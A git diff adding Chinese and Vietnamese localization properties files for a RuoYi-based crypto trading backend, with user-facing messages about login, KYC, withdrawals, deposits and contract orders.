+order.audit.pass=\u6B63\u5728\u5132\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u500B\u7BC0\u9EDE\u78BA\u8A8D\uFF0C\u8ACB\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num=\u53EF\u8CFC\u8CB7\u6578\u91CF{0} +own.coin.limit=\u53EF\u7528\u9918\u984D{0} +own.coin.success=\u7533\u8CFC\u6210\u529F +own.coin.error=\u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8CFC\uFF0C\u8ACB\u52FF\u91CD\u8907\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8A02\u95B2\u6210\u529F\u4E0D\u53EF\u7533\u8CFC +own.coin.sub.success=\u60A8\u5DF2\u7372\u5F97 {0} \u7533\u8CFC\u8CC7\u683C +own.coin.sub.num.error=\u8ACB\u586B\u5BEB\u6B63\u78BA\u6578\u91CF +order.sell.min.error=\u6700\u4F4E\u8CE3\u51FA\u91CF\u70BA{0} +order.audit.reject=\u5E73\u5009\u5931\u6557 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u984D\u4E0A\u4E0B\u9650 + + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8A02\u95B2\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8A02\u95B2\u5931\u6557\uFF0C\u8ACB\u7A0D\u5F8C\u518D\u8A66 +withdraw.kyc.error=\u8ACB\u5148\u5B8C\u6210\u5BE6\u540D\u8A8D\u8B49\uFF0C\u89E3\u9664\u9650\u984D +currency.coin.setting.nonexistent=\u7576\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u7576\u524D{}\u5E63\u7A2E\u9918\u984D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E63\u7A2E\u4E0D\u53EF\u4EA4\u6613 + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8ACB\u5148\u9032\u884C\u521D\u7D1A\u8A8D\u8B49 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u5E33\u865F\u5DF2\u5217\u5165\u9ED1\u540D\u55AE\uFF0C\u7121\u6CD5\u767B\u5165\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u6700\u5C0F\u4E0B\u55AE\u91CF\u70BA {0} +currency.order.max.error= \u6700\u5927\u4E0B\u55AE\u91CF\u70BA {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_vi.properties b/ruoyi-api/src/main/resources/i18n/messages_vi.properties new file mode 100644 index 0000000..58f7733 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_vi.properties @@ -0,0 +1,144 @@ +user.appname=\u8D8A\u5357\u8BED\u8BED\u8A00 + +not.null=* Y\u00EAu c\u1EA7u +user.jcaptcha.error=L\u1ED7i m\u00E3 x\u00E1c minh +user.jcaptcha.expire=M\u00E3 x\u00E1c minh \u0111\u00E3 h\u1EBFt h\u1EA1n +user.not.exists=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.not.match=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.retry.limit.count=M\u1EADt kh\u1EA9u \u0111\u00E3 nh\u1EADp sai {0} l\u1EA7n +user.password.retry.limit.exceed= N\u1EBFu nh\u1EADp sai m\u1EADt kh\u1EA9u {0} l\u1EA7n, t\u00E0i kho\u1EA3n s\u1EBD b\u1ECB kh\u00F3a trong {1} ph\u00FAt. +user.password.delete=Xin l\u1ED7i, t\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB x\u00F3a +user.blocked=Ng\u01B0\u1EDDi d\u00F9ng \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +role.blocked=Vai tr\u00F2 \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +login.blocked=Th\u1EADt kh\u00F4ng may, IP truy c\u1EADp \u0111\u00E3 b\u1ECB \u0111\u01B0a v\u00E0o danh s\u00E1ch \u0111en c\u1EE7a h\u1EC7 th\u1ED1ng +user.logout.success=tho\u00E1t th\u00E0nh c\u00F4ng +length.not.valid=\u0110\u1ED9 d\u00E0i ph\u1EA3i n\u1EB1m trong kho\u1EA3ng t\u1EEB {min} \u0111\u1EBFn {max} k\u00FD t\u1EF1 +user.username.not.valid=* N\u00F3 bao g\u1ED3m t\u1EEB 2 \u0111\u1EBFn 20 k\u00FD t\u1EF1 ti\u1EBFng Trung, ch\u1EEF c\u00E1i, s\u1ED1 ho\u1EB7c d\u1EA5u g\u1EA1ch d\u01B0\u1EDBi v\u00E0 ph\u1EA3i b\u1EAFt \u0111\u1EA7u b\u1EB1ng m\u1ED9t s\u1ED1 kh\u00F4ng ph\u1EA3i s\u1ED1 +user.password.not.valid=* 5-50 k\u00FD t\u1EF1 +user.email.not.valid= L\u1ED7i \u0111\u1ECBnh d\u1EA1ng email +user.mobile.phone.number.not.valid=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i kh\u00F4ng \u0111\u00FAng \u0111\u1ECBnh d\u1EA1ng +user.login.success=\u0111\u0103ng nh\u1EADp th\u00E0nh c\u00F4ng +user.register.success=\u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +user.notfound=xin vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.forcelogout=Qu\u1EA3n tr\u1ECB vi\u00EAn bu\u1ED9c ph\u1EA3i \u0111\u0103ng xu\u1EA5t, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.unknown.error=L\u1ED7i kh\u00F4ng x\u00E1c \u0111\u1ECBnh, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +upload.exceed.maxSize=K\u00EDch th\u01B0\u1EDBc t\u1EC7p \u0111\u01B0\u1EE3c t\u1EA3i l\u00EAn v\u01B0\u1EE3t qu\u00E1 gi\u1EDBi h\u1EA1n k\u00EDch th\u01B0\u1EDBc t\u1EC7p!
K\u00EDch th\u01B0\u1EDBc t\u1EC7p t\u1ED1i \u0111a \u0111\u01B0\u1EE3c ph\u00E9p l\u00E0: {0}MB! +upload.filename.exceed.length=T\u00EAn t\u1EC7p \u0111\u00E3 t\u1EA3i l\u00EAn ph\u1EA3i d\u00E0i t\u1ED1i \u0111a {0} k\u00FD t\u1EF1 +no.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n truy c\u1EADp d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.create.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n t\u1EA1o d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.update.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n s\u1EEDa \u0111\u1ED5i d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.delete.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n x\u00F3a d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.export.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xu\u1EA5t d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.view.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xem d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +user.register.email.format=\u0110\u1ECBnh d\u1EA1ng email kh\u00F4ng \u0111\u00FAng +user.register.email.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.register.phone.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.user_name_exisit=t\u00EAn n\u00E0y \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi d\u00F9ng +login.user_error=sai t\u00EAn ng\u01B0\u1EDDi d\u00F9ng ho\u1EB7c m\u1EADt kh\u1EA9u +user.login.address.error=\u0110\u1ECBa ch\u1EC9 \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi s\u1EED d\u1EE5ng! +app.login.address.not.null=\u0110\u1ECBa ch\u1EC9 ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng +user.register.phone.exist=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\uFFFD t\u1ED3n t\u1EA1i +user.register.phone.bind=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\uFFFD b\u1ECB r\uFFFDng bu\u1ED9c +login.email.not_register= Vui l\u00F2ng s\u1EED d\u1EE5ng \u0111\u1ECBa ch\u1EC9 email b\u1ECB r\u00E0ng bu\u1ED9c \u0111\u1EC3 ho\u1EA1t \u0111\u1ED9ng +login.phone.not_register=Vui l\u00F2ng s\u1EED d\u1EE5ng s\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\u01B0\u1EE3c li\u00EAn k\u1EBFt \u0111\u1EC3 v\u1EADn h\u00E0nh +login.code_error=L\u1ED7i m\u00E3 x\u00E1c minh +user.login.code.error=X\u00E1c minh m\u00E3 x\u00E1c minh kh\u00F4ng th\u00E0nh c\u00F4ng! +user.login.password.null=Vui l\u00F2ng nh\u1EADp m\u1EADt kh\u1EA9u c\u1EE7a b\u1EA1n! +user.login.upd.success=\u0110\u00E3 s\u1EEDa \u0111\u1ED5i th\u00E0nh c\u00F4ng! +phone_code_empty=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +email.code_empty=E-mail kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +user.code.send=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi th\u00E0nh c\u00F4ng +app.verification.email.code=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi t\u1EDBi email c\u1EE7a b\u1EA1n, vui l\u00F2ng ki\u1EC3m tra. +user.password_bind=M\u1EADt kh\u1EA9u \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.tard.password_bind= M\u1EADt kh\u1EA9u b\u1EA3o m\u1EADt \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.login.null=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i! +user.login.old.password=M\u1EADt kh\u1EA9u c\u0169 ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.new.password=M\u1EADt kh\u1EA9u m\u1EDBi ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.paw.upd=M\u1EADt kh\u1EA9u m\u1EDBi kh\u00F4ng \u0111\u01B0\u1EE3c gi\u1ED1ng m\u1EADt kh\u1EA9u c\u0169! +user.login.old.password.error=M\u1EADt kh\u1EA9u c\u0169 sai! +user.login.address.null=\u0110\u1ECBa ch\u1EC9 tr\u1ED1ng! +user.login.userid.null=ID ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng! +user.password_notbind=H\u00E3y \u0111\u1EB7t m\u1EADt kh\u1EA9u an to\u00E0n +tard_password.error=Sai m\u1EADt kh\u1EA9u thanh to\u00E1n + +#\u63D0\u73B0 +withdraw.amount_number_exceed= R\u00FAt ti\u1EC1n v\u01B0\u1EE3t qu\u00E1 s\u1ED1 l\u1EA7n \u0111\u00E3 \u0111\u1EB7t trong ng\u00E0y +withdraw_error= S\u1ED1 d\u01B0 kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 r\u00FAt ti\u1EC1n m\u1EB7t +withdraw.amount_error=S\u1ED1 ti\u1EC1n r\u00FAt sai, vui l\u00F2ng s\u1EEDa l\u1EA1i. +withdraw.refresh=vui l\u00F2ng l\u00E0m m\u1EDBi +withdraw.address.isnull=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng \u0111\u1ECBa ch\u1EC9 r\u00FAt ti\u1EC1n! +withdraw_require_error = Hi\u1EC7n t\u1EA1i, ch\u00FAng ta v\u1EABn c\u1EA7n ch\u01A1i v\u1EDBi doanh thu c\u00F2n l\u1EA1i. +withdraw_error_coin=Lo\u1EA1i ti\u1EC1n t\u1EC7 n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +withdraw_error_rate=T\u1EF7 gi\u00E1 h\u1ED1i \u0111o\u00E1i n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +user.kyc.not_blank= T\u1EA5t c\u1EA3 b\u1ED1n m\u1EE5c th\u00F4ng tin x\u00E1c th\u1EF1c danh t\u00EDnh \u0111\u1EC1u \u0111\u01B0\u1EE3c y\u00EAu c\u1EA7u. +exchange.symbol.exist= Lo\u1EA1i ti\u1EC1n quy \u0111\u1ED5i kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng v\u00E0 s\u1ED1 ti\u1EC1n quy \u0111\u1ED5i ph\u1EA3i l\u1EDBn h\u01A1n 0 +recharge.amout.min=S\u1ED1 ti\u1EC1n g\u1EEDi t\u1ED1i thi\u1EC3u l\u00E0 {0} +recharge.amout.max=S\u1ED1 ti\u1EC1n n\u1EA1p t\u1ED1i \u0111a l\u00E0 {0} +currency.exchange_min=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.exchange_max=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i \u0111a l\u00E0 {0} +exchange_error=S\u1ED1 ti\u1EC1n quy \u0111\u1ED5i l\u1EDBn h\u01A1n s\u1ED1 d\u01B0 t\u00E0i kho\u1EA3n +exchange.record.exist.error=B\u1EA1n \u0111ang ti\u1EBFn h\u00E0nh \u0111\u1ED5i qu\u00E0, vui l\u00F2ng th\u1EED l\u1EA1i sau +exchange_symbol_error_exist=\u0110\u1ED3ng ti\u1EC1n trao \u0111\u1ED5i kh\u00F4ng t\u1ED3n t\u1EA1i +order_amount_error= S\u1ED1 d\u01B0 trong v\u00ED kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 mua +order_10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +user.push.message=Ho\u1EA1t \u0111\u1ED9ng c\u1EE7a ng\u01B0\u1EDDi d\u00F9ng b\u1ECB c\u1EA5m +mine.level.error=C\u1EA5p VIP c\u1EE7a b\u1EA1n kh\u00F4ng \u0111\u1EE7 \u0111\u1EC3 mua c\u00E1c s\u1EA3n ph\u1EA9m t\u00E0i ch\u00EDnh +order.single.min=S\u1ED1 ti\u1EC1n mua \u00EDt h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i thi\u1EC3u v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c +order.single.max=S\u1ED1 ti\u1EC1n mua l\u1EDBn h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i \u0111a v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c. +order.buy.insufficient=S\u1ED1 ti\u1EC1n t\u1ED1i \u0111a b\u1EA1n c\u00F3 th\u1EC3 mua hi\u1EC7n t\u1EA1i l\u00E0 {0} +product.removed=S\u1EA3n ph\u1EA9m \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EE1 b\u1ECF kh\u1ECFi k\u1EC7 +financial.count.max=Ng\u01B0\u1EDDi d\u00F9ng n\u00E0y \u0111\u00E3 \u0111\u1EA1t \u0111\u1EBFn gi\u1EDBi h\u1EA1n v\u00E0 kh\u00F4ng \u0111\u01B0\u1EE3c ph\u00E9p mua h\u00E0ng. +days.not.null=Chu k\u1EF3 mua h\u00E0ng tr\u1ED1ng +days.not.error=L\u1ED7i chu k\u1EF3 mua h\u00E0ng +contract.accont.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +contract.min.share=S\u1ED1 l\u01B0\u1EE3ng mua t\u1ED1i thi\u1EC3u l\u00E0 {0} +contract.max.share=S\u1ED1 l\u1EA7n mua t\u1ED1i \u0111a l\u00E0 {0} +contract.asset.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +adjust.min.error=S\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 gi\u1EA3m kh\u00F4ng \u0111\u01B0\u1EE3c nh\u1ECF h\u01A1n s\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 ban \u0111\u1EA7u +order.status.error=N\u1ED9p b\u00E0i b\u1EA5t h\u1EE3p ph\u00E1p +contract.buy.earn.error=Mua l\u00E2u, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.buy.loss.error=Mua l\u00E2u, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.earn.error=B\u00E1n \u0111\u1EC3 m\u1EDF m\u1ED9t v\u1ECB th\u1EBF b\u00E1n, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.loss.error=B\u00E1n v\u00E0 m\u1EDF l\u1EC7nh b\u00E1n, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.num.limit=S\u1ED1 l\u01B0\u1EE3ng kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n v\u1ECB tr\u00ED +asset_amount_error=Thi\u1EBFu c\u00E2n b\u1EB1ng +order.amount_error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n t\u00E0i ch\u00EDnh kh\u00F4ng \u0111\u1EE7 +back.code.exist.error=S\u1ED1 th\u1EBB ng\u00E2n h\u00E0ng \u0111\u00E3 t\u1ED3n t\u1EA1i{} +contract.delivery.day= V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa m\u1EDBi giao h\u00E0ng. +contract.delivery.margan=V\u1EABn c\u00F2n: {0} ng\u00E0y tr\u01B0\u1EDBc khi giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT ho\u1EB7c k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {2} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.earn=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi gian giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.loss=V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa l\u00E0 \u0111\u1EBFn th\u1EDDi \u0111i\u1EC3m giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {1}USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc +order.audit.error=\u0110ang xem x\u00E9t +order.audit.pass= \u0111ang \u0111\u01B0\u1EE3c s\u1EA1c l\u1EA1i v\u00E0 c\u1EA7n \u0111\u01B0\u1EE3c 5 n\u00FAt tr\u00EAn to\u00E0n th\u1EBF gi\u1EDBi x\u00E1c nh\u1EADn. Vui l\u00F2ng ki\u00EAn nh\u1EABn ch\u1EDD \u0111\u1EE3i. + +own.coin.limit.num=S\u1ED1 l\u01B0\u1EE3ng c\u00F3 s\u1EB5n {0} +own.coin.limit=S\u1ED1 d\u01B0 kh\u1EA3 d\u1EE5ng {0} +own.coin.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.error=L\u1ED7i h\u1EC7 th\u1ED1ng, vui l\u00F2ng li\u00EAn h\u1EC7 qu\u1EA3n tr\u1ECB vi\u00EAn +own.coin.sub.play=B\u1EA1n \u0111\u00E3 \u0111\u0103ng k\u00FD r\u1ED3i, vui l\u00F2ng kh\u00F4ng g\u1EEDi l\u1EA1i! +own.coin.sub.error=\u0110\u0103ng k\u00FD kh\u00F4ng c\u00F3 s\u1EB5n n\u1EBFu b\u1EA1n ch\u01B0a \u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +own.coin.sub.success=B\u1EA1n \u0111\u00E3 \u0111\u1EA1t \u0111\u01B0\u1EE3c {0} b\u1EB1ng c\u1EA5p \u0111\u0103ng k\u00FD +own.coin.sub.num.error=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng s\u1ED1 l\u01B0\u1EE3ng +order.sell.min.error=S\u1ED1 ti\u1EC1n b\u00E1n t\u1ED1i thi\u1EC3u l\u00E0 {0} +order.audit.reject=Kh\u00F4ng th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.subscribe.error=\u0110\u0103ng k\u00FD kh\u00F4ng th\u00E0nh c\u00F4ng +user.ops.status=Ho\u1EA1t \u0111\u1ED9ng th\u00E0nh c\u00F4ng +withdraw.kyc.error=Vui l\u00F2ng ho\u00E0n t\u1EA5t x\u00E1c th\u1EF1c t\u00EAn th\u1EADt tr\u01B0\u1EDBc \u0111\u1EC3 n\u00E2ng gi\u1EDBi h\u1EA1n +currency.coin.setting.nonexistent=C\u1EA5u h\u00ECnh {} hi\u1EC7n t\u1EA1i kh\u00F4ng t\u1ED3n t\u1EA1i +currency.balance.deficiency=S\u1ED1 d\u01B0 ti\u1EC1n t\u1EC7 {} hi\u1EC7n t\u1EA1i kh\u00F4ng \u0111\u1EE7 +currency.deal.error=Lo\u1EA1i ti\u1EC1n n\u00E0y kh\u00F4ng th\u1EC3 giao d\u1ECBch \u0111\u01B0\u1EE3c +order.10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +order_amount_limit=S\u1ED1 ti\u1EC1n b\u1EA5t h\u1EE3p ph\uFFFDp + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Vui l\u00F2ng th\u1EF1c hi\u1EC7n ch\u1EE9ng nh\u1EADn ch\u00EDnh tr\u01B0\u1EDBc + +#\u9ED1\u540D\u5355 +user_is_black = T\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB li\u1EC7t v\u00E0o danh s\u00E1ch \u0111en v\u00E0 kh\u00F4ng th\u1EC3 \u0111\u0103ng nh\u1EADp \u0111\u01B0\u1EE3c. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.order.max.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i \u0111a l\u00E0 {0} diff --git a/ruoyi-api/src/main/resources/i18n/messages_vn.properties b/ruoyi-api/src/main/resources/i18n/messages_vn.properties new file mode 100644 index 0000000..d03d6ad --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_vn.properties @@ -0,0 +1,137 @@ +user.appname=\u8D8A\u5357\u8BED\u8BED\u8A00 + +not.null=* Y\u00EAu c\u1EA7u +user.jcaptcha.error=L\u1ED7i m\u00E3 x\u00E1c minh +user.jcaptcha.expire=M\u00E3 x\u00E1c minh \u0111\u00E3 h\u1EBFt h\u1EA1n +user.not.exists=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.not.match=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.retry.limit.count=M\u1EADt kh\u1EA9u \u0111\u00E3 nh\u1EADp sai {0} l\u1EA7n +user.password.retry.limit.exceed= N\u1EBFu nh\u1EADp sai m\u1EADt kh\u1EA9u {0} l\u1EA7n, t\u00E0i kho\u1EA3n s\u1EBD b\u1ECB kh\u00F3a trong {1} ph\u00FAt. +user.password.delete=Xin l\u1ED7i, t\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB x\u00F3a +user.blocked=Ng\u01B0\u1EDDi d\u00F9ng \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +role.blocked=Vai tr\u00F2 \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +login.blocked=Th\u1EADt kh\u00F4ng may, IP truy c\u1EADp \u0111\u00E3 b\u1ECB \u0111\u01B0a v\u00E0o danh s\u00E1ch \u0111en c\u1EE7a h\u1EC7 th\u1ED1ng +user.logout.success=tho\u00E1t th\u00E0nh c\u00F4ng +user.ops.status=Ho\u1EA1t \u0111\u1ED9ng th\u00E0nh c\u00F4ng +length.not.valid=\u0110\u1ED9 d\u00E0i ph\u1EA3i n\u1EB1m trong kho\u1EA3ng t\u1EEB {min} \u0111\u1EBFn {max} k\u00FD t\u1EF1 +user.username.not.valid=* N\u00F3 bao g\u1ED3m t\u1EEB 2 \u0111\u1EBFn 20 k\u00FD t\u1EF1 ti\u1EBFng Trung, ch\u1EEF c\u00E1i, s\u1ED1 ho\u1EB7c d\u1EA5u g\u1EA1ch d\u01B0\u1EDBi v\u00E0 ph\u1EA3i b\u1EAFt \u0111\u1EA7u b\u1EB1ng m\u1ED9t s\u1ED1 kh\u00F4ng ph\u1EA3i s\u1ED1 +user.password.not.valid=* 5-50 k\u00FD t\u1EF1 +user.email.not.valid= L\u1ED7i \u0111\u1ECBnh d\u1EA1ng email +user.mobile.phone.number.not.valid=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i kh\u00F4ng \u0111\u00FAng \u0111\u1ECBnh d\u1EA1ng +user.login.success=\u0111\u0103ng nh\u1EADp th\u00E0nh c\u00F4ng +user.register.success=\u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +user.notfound=xin vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.forcelogout=Qu\u1EA3n tr\u1ECB vi\u00EAn bu\u1ED9c ph\u1EA3i \u0111\u0103ng xu\u1EA5t, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.unknown.error=L\u1ED7i kh\u00F4ng x\u00E1c \u0111\u1ECBnh, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +upload.exceed.maxSize=K\u00EDch th\u01B0\u1EDBc t\u1EC7p \u0111\u01B0\u1EE3c t\u1EA3i l\u00EAn v\u01B0\u1EE3t qu\u00E1 